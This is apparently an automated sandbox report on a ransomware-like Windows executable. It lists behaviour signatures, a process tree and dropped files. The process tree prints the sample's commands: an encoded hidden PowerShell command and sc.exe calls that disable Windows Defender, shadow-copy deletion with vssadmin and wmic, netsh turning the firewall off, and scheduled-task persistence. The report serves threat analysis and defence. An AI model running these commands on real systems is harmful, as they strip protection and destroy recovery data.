Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    27/10/2026, 11:41

General

  • Target
    xoilacvac.cc_hyber.exe
  • Size 49KB
  • Sample261027-ntvbfsdw7k
  • SHA256 2b05052b2e361a8a394a3c4d430a26b264718054f69f8f720c12d7d162999e2f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 25 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_hyber.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Checks computer location settings
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2492
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1236
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:3768
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2724
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:1540
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1492
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4236
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2572
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:3776
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3124
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:208
      • C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_hyber.exe"
        3⤵
          PID:1412
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:740
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_hyber.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3268
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2204
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:1460
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious use of AdjustPrivilegeToken
          PID:4940
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1916
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:3508
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4976
        • C:\Windows\System32\Conhost.exe
          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          3⤵
            PID:2724
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:1156
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4156
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1708
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2636
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4396
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:3016
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1584
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:3008
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2536
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:4640
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_hyber.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3040
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
            • Executes a VBScript file via the Windows Script Host.
            PID:2216
          • C:\Windows\System32\notepad.exe
            "C:\Windows\System32\notepad.exe"
            2⤵
              PID:3864
            • C:\Windows\System32\vssadmin.exe
              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
              2⤵
              • Interacts with shadow copies
              PID:1648
            • C:\Windows\System32\wbem\WMIC.exe
              "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
              2⤵
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious use of AdjustPrivilegeToken
              PID:3312
            • C:\Windows\System32\net.exe
              "C:\Windows\System32\net.exe" stop srservice
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1016
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop srservice
                3⤵
                  PID:2072
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                2⤵
                • Launches sc.exe
                PID:3252
                • C:\Windows\System32\Conhost.exe
                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  3⤵
                    PID:3124
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:1744
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:1676
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3985055 /state1:0x41c64e6d
                1⤵
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:3676
              • C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_hyber.exe
                C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_hyber.exe
                1⤵
                  PID:2904
                • C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_hyber.exe
                  C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_hyber.exe
                  1⤵
                    PID:1188
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4992
                  • C:\Windows\servicing\TrustedInstaller.exe
                    C:\Windows\servicing\TrustedInstaller.exe
                    1⤵
                      PID:3008

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

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                          Downloads

                          ~ockScreen___1920_1080_notdimmed.tmp

                          • Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-747854149-4118156852-591593384-1000\ReadOnly\LockScreen_O\~ockScreen___1920_1080_notdimmed.tmp
                          • Size 779KB
                          • SHA256 430dfb95661e5ff68ae648825d4ab57def64f8c47cdc0269eba20f2913bc2f36
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          doc_2.pdf

                          • Path C:\SystemVolumeInformation\doc_2.pdf
                          • Size 66KB
                          • SHA256 bfcbc95ee6517e5b25c583b7cb1d15a1a9cd96d1109997d753219d4a84d3f10b
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          xoilacvac.cc_hyber.exe.log

                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\xoilacvac.cc_hyber.exe.log
                          • Size 660B
                          • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                          • MD5 SHA1 SHA512 TLSH

                          __PSScriptPolicyTest_dvq1uw00.y22.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dvq1uw00.y22.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          createshortcut.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                          • Size 243B
                          • SHA256 4e937c992669987d2d261fc19c04cf79980976db81065b24f802419b52ccee73
                          • MD5 SHA1 SHA512 TLSH

                          del.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                          • Size 59B
                          • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                          • MD5 SHA1 SHA512 TLSH

                          makelnk.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                          • Size 244B
                          • SHA256 c1481f109d969c933da221eeaa39bc7c75da39d6f10ded99a6116b329429754f
                          • MD5 SHA1 SHA512 TLSH

                          invoice_1.pdf

                          • Path C:\Users\Admin\Documents\invoice_1.pdf
                          • Size 66KB
                          • SHA256 530616f22522b8de3fdaca99fe65dd5215790de84f032f200696708e4d1757dc
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          sysupdate.exe

                          • Path C:\Windows\System32\sysupdate.exe
                          • Size 49KB
                          • SHA256 2b05052b2e361a8a394a3c4d430a26b264718054f69f8f720c12d7d162999e2f
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/1236-767-0x000001D1C96E0000-0x000001D1C9702000-memory.dmp

                          memory/2492-15-0x000000001DC60000-0x000000001E188000-memory.dmp

                          memory/2492-14-0x000000001D560000-0x000000001D722000-memory.dmp

                          memory/2492-1-0x000000001B3A0000-0x000000001B3B0000-memory.dmp

                          memory/2492-0-0x0000000000650000-0x0000000000662000-memory.dmp

                          memory/2492-2266-0x000000001B3A0000-0x000000001B3B0000-memory.dmp

                          memory/3676-2265-0x000001BFC77D0000-0x000001BFC7EF9000-memory.dmp

                          memory/3864-2254-0x0000019E2DC20000-0x0000019E2DC21000-memory.dmp